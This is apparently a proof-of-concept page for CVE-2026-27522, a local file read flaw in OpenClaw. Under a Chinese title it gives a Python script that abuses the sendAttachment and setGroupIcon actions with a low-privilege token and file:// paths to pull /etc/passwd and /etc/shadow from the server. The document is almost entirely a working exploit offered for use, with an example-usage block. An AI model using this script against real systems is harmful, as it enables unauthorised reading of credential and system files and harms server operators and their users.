CVE-2026-27522 OpenClaw本地文件读取漏洞（媒体根绕过）

import requests # CVE-2026-27522 PoC - OpenClaw Local File Read via media root bypass # Target: OpenClaw < 2026.2.24 TARGET_URL = "http://target-server:8080/api" ATTACKER_TOKEN = "low_privilege_user_token" def exploit_file_read(file_path): """ Exploit sendAttachment action to read local files file_path: Absolute path to read (e.g., /etc/passwd, C:\\Windows\\win.ini) """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } # Method 1: sendAttachment action payload = { "action": "sendAttachment", "chat_id": "victim_chat", "file_path": file_path, # e.g., "file:///etc/passwd" "filename": "malicious_file" } response = requests.post(TARGET_URL, json=payload, headers=headers) return response.text def exploit_setgroupicon(file_path): """ Exploit setGroupIcon action to read local files file_path: Absolute path to read """ headers = { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } payload = { "action": "setGroupIcon", "group_id": "target_group", "icon_path": file_path # e.g., "file:///etc/shadow" } response = requests.post(TARGET_URL, json=payload, headers=headers) return response.text # Example usage if __name__ == "__main__": # Read /etc/passwd on Linux print("[*] Attempting to read /etc/passwd...") result = exploit_file_read("file:///etc/passwd") print(result) # Read shadow file (if permissions allow) print("[*] Attempting to read /etc/shadow...") result = exploit_file_read("file:///etc/shadow") print(result)